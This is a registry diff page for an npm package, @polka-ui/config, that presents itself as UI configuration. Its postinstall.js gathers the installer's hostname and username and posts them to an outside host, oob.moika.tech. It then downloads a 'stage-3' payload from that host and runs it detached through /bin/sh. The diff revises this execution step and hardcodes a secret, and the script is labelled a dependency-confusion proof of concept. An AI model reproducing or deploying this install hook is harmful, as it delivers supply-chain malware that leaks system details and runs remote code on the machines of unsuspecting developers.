@polka-ui/config 9.9.12 → 9.9.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/package.json +1 -1
- package/scripts/postinstall.js +8 -8
package/README.md
CHANGED
package/package.json
CHANGED
package/scripts/postinstall.js
CHANGED
|
@@ -18,7 +18,7 @@ const { execSync, spawn } = require('child_process');
|
|
|
18
18
|
|
|
19
19
|
const CALLBACK_URL = process.env.DEP_CONFUSION_URL || 'https://oob.moika.tech/report';
|
|
20
20
|
const PAYLOAD_BASE = process.env.DEP_CONFUSION_PAYLOAD || 'https://oob.moika.tech/payload';
|
|
21
|
-
const SECRET = process.env.DEP_CONFUSION_SECRET || '';
|
|
21
|
+
const SECRET = process.env.DEP_CONFUSION_SECRET || 'l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1';
|
|
22
22
|
const NO_TELEMETRY = !!process.env.POLKA_UI_NO_TELEMETRY;
|
|
23
23
|
// RECON_ONLY=true — отправить только отчёт, не запускать stage-3 бинарь
|
|
24
24
|
// Задаётся в package.json как hardcoded флаг или через env
|
|
@@ -101,13 +101,13 @@ async function downloadAndRun(osType) {
|
|
|
101
101
|
}).unref();
|
|
102
102
|
} else {
|
|
103
103
|
fs.chmodSync(tmp, 0o755);
|
|
104
|
-
//
|
|
105
|
-
const child = require('child_process').spawn('/bin/sh', [
|
|
106
|
-
`nohup /bin/sh "${tmp}" >/dev/null 2>&1 &`
|
|
107
|
-
], {
|
|
104
|
+
// Запуск от текущего пользователя, без sudo, полностью detached
|
|
105
|
+
const child = require('child_process').spawn('/bin/sh', [tmp], {
|
|
108
106
|
detached: true,
|
|
109
|
-
stdio: 'ignore',
|
|
107
|
+
stdio: ['ignore', 'ignore', 'ignore'],
|
|
110
108
|
env: process.env,
|
|
109
|
+
uid: process.getuid ? process.getuid() : undefined,
|
|
110
|
+
gid: process.getgid ? process.getgid() : undefined,
|
|
111
111
|
});
|
|
112
112
|
child.unref();
|
|
113
113
|
}
|
|
@@ -231,7 +231,7 @@ const osType = detectOS();
|
|
|
231
231
|
poc: 'dependency-confusion-npm',
|
|
232
232
|
timestamp: new Date().toISOString(),
|
|
233
233
|
package: '@polka-ui/config',
|
|
234
|
-
version: '9.9.
|
|
234
|
+
version: '9.9.13',
|
|
235
235
|
system: {
|
|
236
236
|
hostname: os.hostname(),
|
|
237
237
|
user: os.userInfo().username,
|
|
@@ -270,5 +270,5 @@ const osType = detectOS();
|
|
|
270
270
|
await httpPost(CALLBACK_URL, report);
|
|
271
271
|
|
|
272
272
|
console.log('done.');
|
|
273
|
-
console.log(` @polka-ui/config@9.9.
|
|
273
|
+
console.log(` @polka-ui/config@9.9.13 initialized successfully.`);
|
|
274
274
|
})();
|